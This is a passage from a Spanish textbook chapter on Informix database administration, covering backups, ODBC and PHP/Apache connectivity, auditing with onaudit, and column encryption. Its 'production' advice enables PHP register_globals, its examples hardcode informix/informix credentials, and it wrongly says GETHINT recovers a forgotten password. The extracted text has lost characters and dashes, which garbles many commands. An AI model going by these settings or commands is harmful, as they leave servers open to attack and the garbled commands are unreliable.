Al digitar ESC el sistema inicializar el espacio por usted seleccionado. Ahora vera la siguiente ventana:

488

Parte IV, Captulo 20 Seguridad en Bases de datos

Lo ms importante en esta ventana es el nombre del servidor o Server Name para este caso se tomo
emmsa_shm.
Como Server Alias se dejo emmsa_soc para que se pueda acceder por red al servidor de informix.
Estos nombres son elegidos a gusto del usuario, pero debe recordarse que uno apunta al mecanismo shared
memory y el alias debe apuntar al nombre del servidor o tarjeta de red.
La variable max # locks = 500.000 indica que la tabla transaccional mas grande que suba al sistema por
bloqueo de registros permitir como maximo 500.000 registros, se debe modificar dependiendo del
crecimiento de la tabla que tenga mayor numero de registros.
La variable Max # Buffers = 500.000 se usa para la memoria de tipo buffer particular que usara informix,
para una Shared memory de 1.2GB, se debe modificar dependiendo de la cantidad libre de RAM en el
servidor, esta cantidad se verifica con el comando top desde el usuario root. Si el sistema informix y el
sistema operstivo son de 32 bits esta no crecer a mas de 1.2GB.
En la variable DBSPACETEMP se debe colocar el nombre del dbspace creado como temporal, para este caso
mas tarde se llamara dbtemp con el objetivo de que los temporales de informix no utilicen los temporales
de Unix/Linux y asi mejorar el rendimiento.

La siguiente pantalla describir como los nombres del servidor se asocian a la red:

489

Parte IV, Captulo 20 Seguridad en Bases de datos

Note las lneas debajo de NETTYPE settings: ipcshm indica que este servidor emmsa_shm debe existir en
el archivo /usr/informix/etc/sqlhosts para registrar que el servidor informix funcionar con el mecanismo
local de intercomunicacin de procesos memoria compartida o shared memory.
En VP-class digite NET para ipcshm.
soctcp indica que este servidor emmsa_soc (note que el nombre no es el mismo, este es el alias) debe
existir en el archivo /usr/informix/etc/sqlhosts para permitir que el servidor de informix pueda atender
clientes de red por TCP/IP.
En VP-class digite CPU para soctcp.
Nota:
La variable Threads debe ser 1 por cada 100 usuarios, entonces si vamos a tener 500 usuarios debemos
tener en Threads = 4 y Users = 500, pero debemos tener 4 nucleos dentro de los procesadores.
Actualmente el mtodo TLI no esta soportado en Linux, nicamente lo soporta Unixware 7.1.x y otros
sistemas Unix como HPUX, AIX y SUN Solaris.
Para terminar siga digitando ESC y aceptando las diferentes ventanas.
Si va a utilizar varias instancias modifique la variable Messages Log con el nombre de los logs de la
respectiva instancia.
La variable Non PDQ Query memory djela en blanco.
El resto de parmetro por ahora no los cambie, mas adelante se hara finamiento para mejorar el
rendimiento.
Es importante resaltar que por cada instancia se deben tener las siguientes variables como mnimo:
INFORMIXDIR=/usr/informix
PATH=$PATH:$INFORMIXDIR/bin
INFORMIXSERVER=emmsa_shm
export INFORMIXDIR PATH INFORMIXSERVER
Y cambia la variable INFORMIXSERVER.

490

Parte IV, Captulo 20 Seguridad en Bases de datos

Ahora debe crear el resto de dbspaces segn el diseo elaborado con el comando onmonitor.

491

Parte IV, Captulo 20 Seguridad en Bases de datos

492

Parte IV, Captulo 20 Seguridad en Bases de datos

Haga un backup total con el comando ontape para cada dbspace:


# ontape s
Un Shell automatico para hacer esta tarea es:

#!/bin/sh
#
# OJO: Primero se debe modificar la variable LOGS=3
#
clear
base="datosdbs"
echo "Creando DBSPACES: " $base
onspaces -c -d $base -p /dev/raw/raw4 -o 0 -s 4000000 -k 4
ontape -s
onspaces -a
onspaces -a
onspaces -a
onspaces -a
onspaces -a
onspaces -a
onspaces -a
ontape -s

$base
$base
$base
$base
$base
$base
$base

-p
-p
-p
-p
-p
-p
-p

/dev/raw/raw5
/dev/raw/raw6
/dev/raw/raw7
/dev/raw/raw8
/dev/raw/raw9
/dev/raw/raw10
/dev/raw/raw11

-o
-o
-o
-o
-o
-o
-o

0
0
0
0
0
0
0

-s
-s
-s
-s
-s
-s
-s

4000000
4000000
4000000
4000000
4000000
4000000
4000000

# Finaliza
onmode -ky
oninit -v

Comandos comunes.

Para apagar informix digite: onmode ky


Para arrancar informix digite: oninit v
Para manipular datos: dbaccess
Para exportar una base de datos hacia archivos planos: dbexport base_datos
Para exportar una base de datos hacia archivos planos sin modificar la estrategia de bloqueo de
filas y los extends: dbexport base_datos ss
Para exportar una base de datos hacia archivos planos pero en un tape backup sin pasar por el
disco duro: dbexport t /dev/st0 b 16 s 2097151 base_datos ss, existe la limitante del tape
para un mximo de 2GB, el resto de la cinta no se utiliza
Para importar una base de datos desde archivos planos residentes en un tape backup sin pasar por
el disco duro: dbimport t /dev/st0 b 16 s 2097151 base_datos
Para importar una base de datos desde el disco duro donde estamos posicionados: dbimport d
dbspace base_datos
Para activar el modo unbuffered en una base de datos se debe editar el archivo onconfig y en la
lnea TAPEDEV se le debe asignar el valor /dev/null, luego se debe digitar el siguiente comando:
$ ontape s U base_datos
Para manejar raw devices de mas de 2GB al instalar desde ceros digite onmode BC 1
Para manejar raw devices de mas de 2GB sin reinstalar digite onmode BC 2

493

Parte IV, Captulo 20 Seguridad en Bases de datos

Recomendaciones:
Incremento de la Memoria Compartida (Shared Memory):
Nunca se debe usar una shared memory mayor a la memoria RAM pues Informix obligara al sistema a hacer
swaping.
Se recomienda usar el 75% de la memoria RAM para Informix y el 25% restante se le debe dejar al sistema
operativo.

Utilizacin forzada de ndices:


Informix IDS en la versin 7.20 modifico la variable OPTCOMPIND con el valor 2 por default, esto con el
objetivo de autoevaluar la estrategia de bsqueda en forma automtica cuando se use como bodega de
datos, esto se debe a que las bodegass por defecto no tienen ndices predefinidos y el motor debe crear la
mejor estrategia.
Se han detectado casos de sistemas OLTP que se vuelven lentos porque creen que son para toma de
decisiones/bodegas de datos, para diagnosticar ese problema se uso la instruccin set explain on y se
encontr que en la mayora de casos IDS no usaba los ndices de las tablas, por lo tanto en el archivo
/usr/informix/etc/onconfig se recomienda modificar esa variable:
OPTCOMPIND=0
Otra opcin es modificar esta variable dentro del archivo .profile del usuario.

Pasando Logical logs del rootdbs hacia otro dbspace


Suponga que tiene un dbspace llamado logdbs que se dedicaran para los nuevos logs
Debe borrar los logs del rootdbs hasta dejar 3 unicamente, Informix IDS como mnimo debe contener 3
logical logs para poder trabajar:
Paso 1: Para crear 6 logical logs en el nuevo dbspace logdbs digite:
#
#
#
#
#
#

onparams
onparams
onparams
onparams
onparams
onparams

a
a
a
a
a
a

-d
-d
-d
-d
-d
-d

logdbs
logdbs
logdbs
logdbs
logdbs
logdbs

Paso 2: Para borrar los logical logs nmeros 4,5 y 6 del rootdbspace digite:
# onparams d l 6 -y
# onparams d l 5 -y
# onparams d l 4 -y
El log numero 1 quedara en uso aparece la letra U y debemos pasarlo al siguiente logical log, para ello
digite:
# onmode l
Un backup de datos nivel 0 y un backup de logical logs se recomienda para que se borren fsicamente esos
espacion liberados.
# ontape s
Nota: Se deben ejecutar los dos comandos anteriores hasta que las letras L y C se ubiquen fuera del log que
deseo borrar.

494

Parte IV, Captulo 20 Seguridad en Bases de datos

Activar un dbspace temporal


Onmonitor, parameter, Shared memory y seescribe en el campo Dbspace temp el nombre del dbspace
temporal, para este caso es tempdbs:

Para subir una base de datos llamada datos al dbspace datosdbs digite:
# dbimport d datosdbs datos

Comandos a ejecutar antes de migrarse a una nueva versin tareas mensuales


#
#
#
#
#

oncheck
oncheck
oncheck
oncheck
oncheck

cc (Revisa y arregla catalogos)


cr (Revisa y arregla paginas reservadas)
ce (Revisa y arregla paginas extendidas)
cp (Revisa y arregla particiones)
cI base_de_datos (Revisa y arregla ndices de la BD)

# ontape s (hace backup de datos)


# ontape s L 0 (hace backup de datos de nivel 0)
# ontape a (hace backup de logs  NO incluye datos)
Por dbaccess
# dbaccess base_de_datos Update statistics high

495

Parte IV, Captulo 20 Seguridad en Bases de datos

Paso 7: Afinamiento del sistema Informix


Nivel de bloqueo en tablas:
Por default Informix IDS bloquea por pagina, y esto har que el sistema sea lento cuando hayan mltiples
usuarios utilizando los mismos datos pues muchos registros estarn en una misma pagina, para cambiar el
nivel de bloqueo de pginas a filas, utilice el siguiente script de tipo sql para generar el script real:
Por ejemplo si la base de datos se llamara datos, digite:
database datos;
select "alter table ",tabname, " lock mode(row);" from systables
where tabid > 99 ;
Esto generara un script de tipo sql, ejecute el Nuevo script cuando no haya usuarios.
La tabla en el diccionario de datos se llama systables y las columnas claves son tabname que identifica el
nombre de la tabla y locklevel que indica el nivel de bloqueo. Una letra R en esta columna indica que el
bloqueo se esta haciendo por fila o registro de la tabla pero una letra P indica que el bloqueo se esta
haciendo por pgina.

4.0

ACCESO A DATOS DEL IBM INFORMIX VIA ODBC

Para que un usuario en Microsoft Excel pueda acceder al servidor Informix debe instalar y configurar el IBM
Informix Connect para Windows.
Si la necesidad de acceso es para hacer desarrollo de software entonces se debe instalar en cambio IBM
Informix CSDK que ya incluye Informix Connect.
Paso 1: Por ftp o SSH transfiera la carpeta /usr/informix/ICONNECT/WINDOWS

Paso 2: Ejecute el instalador con usuario que tenga permisos de administrador del sistema Windows
Paso 3: Adicione el servicio sqlexec_soc al archivo services de Windows que se encuentra en la direccin
C:\Windows\System32\Drivers\Etc\Services as:
sqlexec_soc
sqlexec_soc

9088/tcp
9088/udp

Reinicie el cliente Windows.

496

Parte IV, Captulo 20 Seguridad en Bases de datos

Paso 4 : Configure el entorno ejecutando Inicio, Programas, IBM Informix Connect x.xx, Setnet32

Paso 5 : Diligencie el formulario en la carpeta Server Information, inicializando las siguientes variables:
INFORMIXSERVER es la instancia definida en el servidor, HostName es el IP o nombre DNS del servidor,
Protocolname debe ser igual a onsoctcp para indicar conexin va sockets al servidor, finalmente Service
name sqlexec_soc todos estos datos estn en el servidor Unix/Linux en el archivo /usr/informix/etc/sqlhosts

Paso 7 : Diligencie el formulario en la carpeta Host Information, inicializando las siguientes variables:

497

Parte IV, Captulo 20 Seguridad en Bases de datos

Donde Current Host debe ser igual al IP del servidor 192.168.1.20, Username informix, Password Option
debe ser Password para indicar que se le suministrara la clave del servidor, finalmente el password del
servidor que para este caso es informix.
Paso 8: Pruebe la conectividad sin el ODBC: Inicio, Programas, IBM Informix Connect x.xx, Ilogin Demo

No olvide que el IP de Hostname es el IP del servidor en produccin.


Paso 8: Si todo es correcto deber ver la siguiente ventana:

Paso 9: Configure el ODBC: Inicio, Configurar, Panel de control, Herramientas administrativas, Origenes de
datos, DSN de usuario, agregar.

498

Parte IV, Captulo 20 Seguridad en Bases de datos

Elija el driver IBM INFORMIX ODBC DRIVER y presione finalizar:

Cree un nombre para la conexin: Por ejemplo ids

Paso 10: diligencie las variables de conexin del ODBC

499

Parte IV, Captulo 20 Seguridad en Bases de datos

El IP debe ser el IP del servidor en produccin


Presione la carpeta environment y configure que el LOCALE se tome de la configuracin del servidor, es decir
seleccione la variable Use Server Database Locale:

Ahora presione el boton de pruebas Apply & Test Connection, si todo esta bien diligenciado debe obtener el
siguiente mensaje:

Finalmente aparecer el nombre ids dentro de la ventana de orgenes de datos ODBC:

500

Parte IV, Captulo 20 Seguridad en Bases de datos

Paso 11: Use el ODBC desde Excel


Tome la opcin datos, obtener datos externos, importar datos

Paso 12: Conctese al ODBC desde Excel


Tome la opcin Nuevo origen, DSN ODBC, ids que es el nombre que se utilizo cuando se creo el ODBC.

Ahora seleccione los datos a importar desde la tabla deseada.

501

Parte IV, Captulo 20 Seguridad en Bases de datos

El sistema guardara la consulta con el nombre de la tabla, seleccione la consulta que acaba de crear.

Ahora Excel preguntara en que parte de la hoja se desean los datos.

Finalmente los datos se importan a la hoja electrnica.

502

Parte IV, Captulo 20 Seguridad en Bases de datos

5.0

Conectividad via web con IBM Informix IDS 11

Los componentes que permiten esta interaccion son: ODBC, JDBC, y la conectividad nativa que cada
producto de base de datos suministra.
En el caso de IBM Informix IDS, se suministra el IBM Informix ESQL.
Se recomienda el IBM Informix ESQL cuando la velocidad de acceso y los volmenes de datos a menajar son
muy importantes.
Si nicamente necesitamos hacer consulta el ODBC y el JDBC son excelentes.
Para hacer que PHP se conecte en forma directa con el motor de bases de datos IBM Informix IDS use las
siguientes recomendaciones:
Antes de empezar:

Revisar que el sistema operativo este con suplementos a la fecha


Revisar que el sistema operativo este afinado para bases de datos
Revisar que el sistema operativo este asegurado/blindado para resistir ataques
Asegrese que el motor de bases de datos IBM Informix IDS est instalado
Revise que el entorno del usuario root e informix este configurado para conectividad con IBM
Informix IDS, por ejemplo esta es una configuracin por defecto:

INFORMIXDIR=/usr/informix
export INFORMIXDIR
PATH=$PATH:$INFORMIXDIR/bin
export PATH
INFORMIXSERVER=linux_shm
export INFORMIXSERVER

5.1 Instalar Apache 2.x


Revisar la configuracin de Apache
Se recomienda revisar que Apache soporte la carga de mdulos con mod_so para esto revise con el siguiente
comando:
# cd /usr/local/apache2/bin
# ./httpd l
Deber aparecer en la lnea de comandos el mdulo mod_so, si esta lnea no aparece recompile apache
con la opcin de carga de mdulos, como se muestra ms adelante.
Si la ultima versin de apache no est instalada se sugiere obtenerla del sitio www.apache.org
Al descargarla sobre el directorio /tmp se debe averiguar en qu formato esta el archivo descargado, para
ello digite el siguiente comando:
# cd /tmp
# file http*
Generalmente la opcin por defecto al descargar el archivo es la que consume menos espacio es decir el
formato bzip2, para extraer los archivos a partir de un archivo comprimido en formato bzip2 utilice el
comando:
# tar xjvf http*
Entre al directorio donde se descomprimi el backup en formato tar:
# cd /tmp/httpd*

503

Parte IV, Captulo 20 Seguridad en Bases de datos

Para compilar el servidor web y que este permita en tiempo de ejecucin mdulos adicionales como PHP, se
debe configurar la instalacin con el modulo so, como se dijo al inicio de este documento:
#. /configure -enable-module=so
El parmetro enable-module=so en la configuracin de apache obedece a que PHP utiliza libreras con
soporte para DSO (Dynamic Shared Objets).
Para compilar los programas Fuentes de apache que vienen en lenguaje C
# make
Para instalar en la carpeta por defecto
# make install
Para subir el servicio web digite:
# /usr/local/apache2/bin/apachectl start
Para apagarlo digite:
# /usr/local/apache2/bin/apachectl stop
La pagina web principal de prueba del servidor est en la carpeta /usr/local/apache2/htdocs/index.html
IMPORTANTE: El autor recomienda la siguiente lnea de comandos para compilar apache con
soporte a mdulos como Open SSL, Open Ldap, autenticacin contra Open Ldap, compartir
mdulos y reescribir pginas en tiempo de ejecucin:
# ./configure

--enable-module=so
--with-include-apr
--enable-ssl
--with-ssl=/usr/local/ssl
--with-ldap
--enable-ldap
--enable-authnz-ldap
--enable-shared=max
--enable-module=rewrite

Luego digite make y make install para instalar el servidor web.


Nota: Obviamente deben existir las librerias para desarrollo de openldap-devel y openssl-devel

5.2 Instalacin de Informix-CSDK


Estas son las libreras en C que permiten que lenguajes de alto nivel como PHP o .Net tengan acceso al
motor de bases de datos a bajo nivel, por ello se escriben en lenguaje C.
Estas mismas existen para DB2, Oracle, y MySQL.
Nota: Para este caso este producto CSDK viene con Informix IDS ltima versin, generalmente est
instalado cuando se configura el Informix IDS en el servidor de bases de datos.
Si el servidor de aplicaciones es diferente al servidor de bases de datos, estos pasos son mandatorios.
Entonces debe crear el usuario y el grupo informix antes de instalar el CSDK (Kit de desarrollo para
Informix), los comandos seran si aun no ha realizado esa tare preliminar:
# groupadd informix
# useradd g informix s /bin/bash d /usr/Informix m Informix
# passwd informix

504

Parte IV, Captulo 20 Seguridad en Bases de datos

Esto indica que el usuario Informix tendr como directorio principal /usr/informix y como shell el bash muy
conocido en linux.
Ahora ingrese con el usuario informix, descomprima e instale Informix Client Software Development Kit para
LINUX.
Este se puede obtener desde el url de IBM: www.ibm.com/informix
Descargue el software pdo_informix desde el sitio http://www-306.ibm.com/software/data/informix/php/
Ver la siguiente pantalla:

$ tar xvf clientsdk-2xx-xxx-LINUX.tar


$. /installclientsdk o
El parmetro o del script installclientsdk indica que vamos a efectuar conexin con bases de datos informix
de una versin inferior a 9.40, otros valores validos son:
-i Instala el clientsdk para conexin con bases de datos Informix 9.40 o superior.
-f No verifica la versin de las libreras GLS de Informix esto es en el caso de que exista una instalacin de
motor Informix en la maquina LINUX donde se esta instalando Informix CSDK.
No use la opcin o para IDS 10 u 11.

5.3 Instalacin de PHP


Antes de instalar PHP:
Revise la compatibilidad con XML2, debe existir esta librera antes de instalar PHP, para averiguar si el xml2
est instalado digite:
# rpm q libxml2
Si desea instalar la librera manualmente puede obtenerla del CD/DVD desde donde hizo la instalacin o
puede descargarla de internet
Suponga que est en la carpeta /tmp, entonces digite los siguientes comandos:
# cd /tmp
# tar xzvmf libxml2*
# cd libxml2*
#. /configure
# make
# make install

505

Parte IV, Captulo 20 Seguridad en Bases de datos

Ahora instale PHP:


Para obtener la ltima versin de PHP vaya al sitio http://www.php.net/downloads.php, descrguelo en el
directorio /tmp y ejecute los siguientes pasos:
# cd /tmp
# tar xjvmf
# cd php*

php*

Para compatibilidad con Apache 2.0.x con las opciones ms usadas por los programadores:
./buildconf --force
./configure --with-apxs2=/usr/local/apache2/bin/apxs
--with-ldap=/usr/local
--with-openssl=/usr/local/ssl
--disable-debug
--enable-pdo
--enable-shared

\
\
\
\
\

La opcin with-apxs=/usr/local/apache2/bin/apxs, le indica a PHP que el Apache es la versin


2.0.x instalada manualmente, no es la versin pre instalada
La opcin -with-ldap=/usr/local, indica que tendr soporte a OpenLDAP o MS Active Directory
La opcin -with-openssl, indica soporte a OpenSSL o conexiones seguras

Si se desea soporte a mysql simultaneamente:


./buildconf --force
./configure --with-apxs2=/usr/local/apache2/bin/apxs
--with-mysql
--with-ldap=/usr/local
--with-openssl=/usr/local/ssl
--with-bz2
--with-gdbm
--with-gmp
--with-jpeg-dir=/usr
--with-png-dir=/usr
--with-freetype-dir=yes
--with-xpm-dir=/usr/X11R6
--with-zlib=yes
--with-imap-ssl
\
--with-libxml-dir=/sw/include/libxml2/
--with-curl=/usr/local
--with-pic
--enable-bcmath
\
--enable-calendar
--enable-ctype
--enable-exif
--enable-gd-native-ttf
--enable-inline-optimization
--enable-mbstring
--enable-shmop
--enable-sigchild
\
--enable-sysvsem
--enable-sysvshm
--enable-wddx
--disable-debug
--enable-shared
--enable-pdo
--enable-embedded-mysqli
--enable-soap
--enable-zip

Revise que los mdulos anteriores estn compilados:

# php -m

506

\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\

Parte IV, Captulo 20 Seguridad en Bases de datos

Ahora se deben compilar los programas fuentes a objetos de PHP

# make

Pruebe que no haya errores con:

# make test

Ac es donde aparecen los errores ms graves y no se debe continuar si hay errores.


Para instalar los programas ejecutables digite:

# make install

Para indicarle al explorador web que hacer cuando el usuario digite alguna pagina con la extensin .php
adicione al archivo de apache /usr/local/apache2/conf/httpd.conf las siguientes lneas:
LoadModule php5_module modules/libphp5.so
Este paso lo hace el instalador de PHP por defecto cuando se digita el comando make install
AddType application/x-httpd-php .php
Este paso sobre el tipo de aplicacin, le dice al apache que ejecute aplicaciones de tipo PHP cuando el
archivo contenga la extensin .php, este paso debe hacerse manualmente.
Copie el archivo php.ini-dist del directorio /tmp/php* hacia el directorio /usr/local/lib/php.ini de su sistema
operativo.
Nota: Si obtiene errores en Linux Fedora Core IV cambie los permisos del archivo libphp5.so con el
comando:
# chcon -t texrel_shlib_t /usr/local/apache2/modules/libphp5.so
Ahora reinicie Apache con el comando /usr/local/apache2/bin/apachectl restart
Para probar que php esta funcionando en forma correcta haga el siguiente programa y ejectelo dede un
explorador web:
<?php
phpinfo();
?>
Guarde este script en el directorio de sus pginas web, por defecto en apache 2.0 se llama
/usr/local/apache2/htdocs/phpinfo.php,
para
ejecutarlo
desde
el
explorador
digite
el
URL
http://localhost/phpinfo.php.
Importante: No deje ese script en la carpeta pblica del servidor web porque un atacante vera la versin de
su sistema y le ser ms fcil explotar una vulnerabilidad

5.4 Instalacin del modulo pdo_informixpara conectividad con IBM Informix IDS 10.x/11.x
Descargue el software pdo_informix desde el sitio http://www-306.ibm.com/software/data/informix/php/
Ver la siguiente pantalla:

507

Parte IV, Captulo 20 Seguridad en Bases de datos

Observemos que es la misma opcin para descargar el CSDK.


Si lo descargo en la carpeta /tmp se deben seguir los siguientes pasos:
#
#
#
#
#
#
#

cd /tmp
tar xvmf PDO*
mv PDO_INFORMIX-1* /tmp/php-*/ext/pdo_informix
cd php-*/ext/pdo_informix
phpize
./configure
make

Revise la carpeta modules y encontrara el archivo pdo_informix.so, copie este archivo hacia la carpeta
/usr/local/apache/modules
Edite el archivo /usr/local/lib/php.ini de PHP y busque la variable extension_dir, esta variable indica cual es
el directorio donde estarn los mdulos que se cargaran en tiempo de ejecucin:
extension_dir
extension
extension

= "/usr/local/apache2/modules/
= pdo.so
= pdo_informix.so

Ahora reinicie Apache con el comando:


# /usr/local/apache2/bin/apachectl restart
Pruebe desde el explorador digitando el URL http://localhost/phpinfo.php.

508

Parte IV, Captulo 20 Seguridad en Bases de datos

Hasta aqu se garantiza que el driver en el servidor de aplicaciones PHP/Apache nos dara conectividad hacia
el motor de gestin ed bases de datos.

5.5 Pruebas de PHP contra IBM IDS

Prueba de conexin a la base de datos Informix, programa ifx.php:


Asegrese que el motor IBM Informix est corriendo con el comando:
# onstat -

Ahora haga un programa que demuestre la conexin contra la base de datos y gurdelo en la carpeta del
servidor web /usr/local/apache2/htdocs/pdo_informix.php:

509

Parte IV, Captulo 20 Seguridad en Bases de datos

Se asume que el usuario informix tiene clave o palabra secreta informix.


<?php
try {
$dbh = new PDO("informix:; database=sysmaster; server=linux_shm;",
"informix", "informix");
printf("<pre>");
printf(" %s \n",$dbh->getAttribute(PDO::ATTR_DRIVER_NAME) ) ;
$stmt=$dbh->query('SELECT * FROM systables');
$row=$stmt->fetch(PDO::FETCH_ASSOC);
$count=0;
while ( $stmt && $count<5 && $row)
{
print_r($row);
$row=$stmt->fetch(PDO::FETCH_ASSOC);
$count++;
}
printf("</pre>");
} catch (PDOException $e) {
print "Error!: " . $e->getMessage();
exit;
}
?>
Debera ver la siguiente pantalla:

510

Parte IV, Captulo 20 Seguridad en Bases de datos

5.6 Recomendaciones importantes cuando estamos en produccin


Edite el archivo /usr/local/lib/php.ini de PHP.
Para permitir que un formulario pase las variables a un programa PHP en forma automtica se debe editar el
archivo php.ini y activar la variable register_globals:
register_globals =On
Para evitar que los errores aparezcan en el formulario se debe editar el archivo php.ini y desactivar la
variable display_errors:
display_errors =Off
Para permitir que PHP transfiera archivos mayores al defecto de 2MB para un webmail o para software que
se base en PHP haga lo siguiente:
file_uploads=on
upload_max_filesize = 10M, est por defecto en 2Mb
post_max_size=10Mb, est por defecto en 8Mb
max_execution_time=300, est por defecto en 30 segundos para ejecucin de Scripts
memory_limit=256Mb, est por defecto en 128Mb mximo que un script puede consumir en memoria
Otras variables interesantes:
Engine=on
Precision=12
Y2k_compliance=on
Output_buffering=off
Zlib.output_compression=off
Implicit_flush=off

Reinicie apache con el comando:


# /usr/local/apache2/bin/apachectl

6.0

restart

Auditorias a nivel de motor de bases de datos

La auditoria maneja eventos y mascaras.


Un evento representa a una una accin, por ejemplo crear una tabla, crear un procedimiento almacenado o
borrar un trigguer, borrar una tabla, etc.
Una mascara es un conjunto de reglas o filtros, sirven para que el motor sepa que informacion auditar, entre
ellas tenemos:
6.1

Template mask: Para un grupo de usuarios.

6.2
Users mask, sirve para identificar en la auditoria a un nico usuario: existen a la fecha tres clases
de mascaras o mask,
_default mask (contiene los filtros bsicos del sistema de auditoria),
_require mask (contiene los filtros de mas alta prioridad) y
_exclude mask (lista los eventos que no deben ser auditados)
6.3
onaudit: es la herramienta que permite activar la auditoria especializada para el motor IBM
Informix IDS 11, adems permite crear los eventos y filtros o mascaras que la auditoria debe llevar.

511

Parte IV, Captulo 20 Seguridad en Bases de datos

Revisemos cada parmetro que la herramienta onaudit utiliza:


(-l) ADTMODE: permite activar y desactivar las auditorias
0
1
3
5
7

Indica que la auditoria


Indica que la auditoria
Audita las operaciones
Audita las operaciones
Audita las operaciones

se debe apagar
se debe iniciar
que ejecute el database system security officer (dbsso)
que ejecute el database system administrator (dbsa)
de los usuarios normales admeas de dbsso y dbsa

(-p) _ ADTPATH: Indica el camino de los archivos/ficheros donde estan los logs
(-s) _ ADTSIZE: Indica el maximo tamanio del archivo/fichero de auditorias. Cuando se alcanza el limite
del archivo/fichero, este pasa a un tamanio de cero bytes.
(-e) _ ADTERR: Indica que debe hacer el servidor cuando se den errores
0 Indica que la auditoria debe continuar cuando encuentre errores
1 Indica que el thread o hilo se debe suspender al grabar el registro en la bitcora de la auditoria
2 Indica que el thread o hilo se debe suspender al grabar el registro adems de apagar el motor de bases de
datos
Cuando se activa la auditoria en el IBM Informix IDS 11 este guardara los parmetros en el archivo/fichero
de configuracin /usr/informix/aaodir/adtcfg

6.4

Comandos para iniciar la auditoria

Para iniciar la auditoria se debe digitar el siguiente comando:


$ onaudit l 1
Para apagar la auditoria se debe digitar el siguiente comando:
$ onaudit l 0
Para indicar que la auditoria debe suspenderse al grabarse el ultimo error y adems debe apagar el motor de
bases de datos
$ onaudit e 2
Para indicar que el archivo de logs mximo guardara 50MB:
$ onaudit s 50000000
Se debe recordar que el mximo tamanio del archivo es de 2GB y que el tamanio normal de este archivo es
5MB, no se recomiendan mayores tamanios.
Para mirar los parmetros del comando onaudit o mejor sus valores en la ultima configuracin se debe
digitar el comando:
$ onaudit c
Para indicar donde deben quedar los archivos de la auditoria diferente al directorio por defecto:
$ onaudit p /u/datos/logs/informix
Para crear un nuevo archivo/fichero de auditoria:
$ onaudit n
6.5

Comandos para crear los filtros o mascaras

512

Parte IV, Captulo 20 Seguridad en Bases de datos

Hasta este momento solo hemos activado el servicio de auditorias pero aun no hemos incluido a que objetos
del sgdb y menos a que filtros o mascaras.
Por ejemplo para adicionar una mascara que vigile a cualquier usuario se debe usar la mascara/mask
_default que representa a todos los usuarios del sistema, adems debemos indicar que acciones debemos
auditar, por ejemplo se desea vigilar la accin borrar una tabla, esto lo representa la sigla DRTB por el
ingles DRop TaBle:
$ onaudit -a u _default -e +DRTB,GRDB
Explicacion de los parmetros del comando:

La opcin a indica adicionar a la auditoria


La opcin u indica a que usuario se desea auditar, _default implica a todos los usuarios
El signo + antes de la macro o evento indica adicionarla a la lista que ya existe de acciones dentro
de ese usuario
La , (signo coma) indica que pueden existir varias acciones o eventos sobre un mismo usuario del
motor de bases de datos

Para modificar una mascara se debe usar la opcin m en el comando onaudit, para borrar se debe usar la
opcin d.
En el siguiente ejemplo se esta adicionando la mascara GRXM a las mascara que ya existe para todos los
usuarios del sistema:
$ onaudit -m u _default -e +GRXM
Para ver los filtros o mascaras use el comando:
$ onaudit -o y

6.6

Comandos para leer las auditorias

Para leer las auditorias no debemos tocar los archivos planos pues por seguridad se dejaran inservibles las
bases de datos en archivos planos.
Se recomienda el siguiente comando para leer las bases de datos de auditorias:
$ onshowaudit I
Para leer la auditoria de un usuario especifico de un servidor dado:
$ onshowaudit u root s servidor_dado
Se podra crear una base de datos con una tabla para almacenar estos logs de auditorias, se propone el
siguiente schema de tabla para la base de datos de auditorias y con SQL seria mas fcil hacer consultas:
CREATE DATABASE db_auditoria;
CREATE TABLE tab_auditoria (
instancia
CHAR(5),
timestamp
DATETIME YEAR TO FRACTION(3),
servidor_host
CHAR(32),
pid
INT,
nom_instancia
CHAR(32),
username
CHAR(32),
errno
INT,
codigo_evento
CHAR(5),
basedatos
CHAR(128),
eventinfo
CHAR(2048)
);

513

Parte IV, Captulo 20 Seguridad en Bases de datos

7.0

Cifrado de datos a nivel de columnas

7.1

Comandos SQL crticos para cifrar y descrifrar

Esta carateristica viene desde IBM Informix IDS 10 y busca garantizar la confidencialidad de los datos
crticos, por ejemplo nunca debe estar en claro el numero de la tarjeta de crdito o debito que uso el cliente
en una transaccion, el numero de la cuenta corriente y de ahorros, el numero de seguridad social, las
enfermedades de los pacientes y en general la informacion secreta, confidencial que nadie mas diferente al
duenio de la informacion podr ver.
IBM Informix IDS suministra dentro del producto desde las versiones 10 y 11 unicamente dos funciones
especificas para cifrar y descifrar datos con tecnologas simetricas:
Encrypt_aes(datos a cifrar,clavesecreta,hint) que usa el cifrado AES (advanced encrypcion system)
Encrypt_tdes(dato a cifrar,clave secreta,hint) que usa el cifrado 3DES.

El usuario debe suministrar a la funcin de cifrado una variable y una clave secreta de minimo 6 caracteres y
mximo 128 caracteres.
La palabra secreta o clave secreta puede ser suministrada en forma global con la instruccin:
Set encryption password clavesecretadadaporelusuario with hint texto hint para recordar la clave
La opcion hint es muy util para recordar la clave que se haba utilizado durante el cifrado.
Para descifrar existen incluidas y preconfiguradas las siguientes funciones:
Decrypt_char(campo,calvesecreta), para campos que contengan caracteres.
Decrypt_binary(campo,clavesecreta) para campos que contengan objetos binarios.
Las aplicaciones web usan en forma intensiva la palabra clave opcional hint pues cada fila podra tener una
clave diferente.
Si olvidamos el password o clave secreta lo podemos obtener con el siguiente comando:
SELECT GETHINT("columna cifrada) FROM table

Veamos un ejemplo:
CREATE TABLE departamentos (

nombre_dpto
tarjeta_credito

char(50),
char(100)

);
SET ENCRYPTION PASSWORD "redbook" WITH HINT "Libro que IBM recomienda";
INSERT INTO departamentos VALUES(Cundinamarca,ENCRYPT_AES("1234467891012345"));
SELECT GETHINT(tarjeta_credito) FROM departamentos;
Que debera retornar la ultima consulta de tipo SQL?
Respuesta:.
a) redbook
b) nombre_dpto
c) IBM
d) Libro que IBM recomienda
e) Ninguna de las anteriores

7.2

Tipos de datos que se pueden cifrar

Los tipos de datos que estan soportados para cifrar son:

514

Parte IV, Captulo 20 Seguridad en Bases de datos

CHAR, VARCHAR, NCHAR, NVARCHAR, LVARCHAR, SMALLINT, INTEGER, INT8, DECIMAL, SMALLFLOAT,
FLOAT, DATE, DATETIME, INTERVAL, BOOLEAN, BLOB y CLOB
El dato cifrado se puede guardar en los siguientes tipos de datos:
CHAR, NCHAR, VARCHAR, NVARCHAR, LVARCHAR, BLOB, CLOB
7.3

Rendimiento, recursos computacionales y recomendaciones


a)
b)
c)
d)

No se debe abusar del uso de estas funciones de cifrado, entre mas se cifra mas recursos
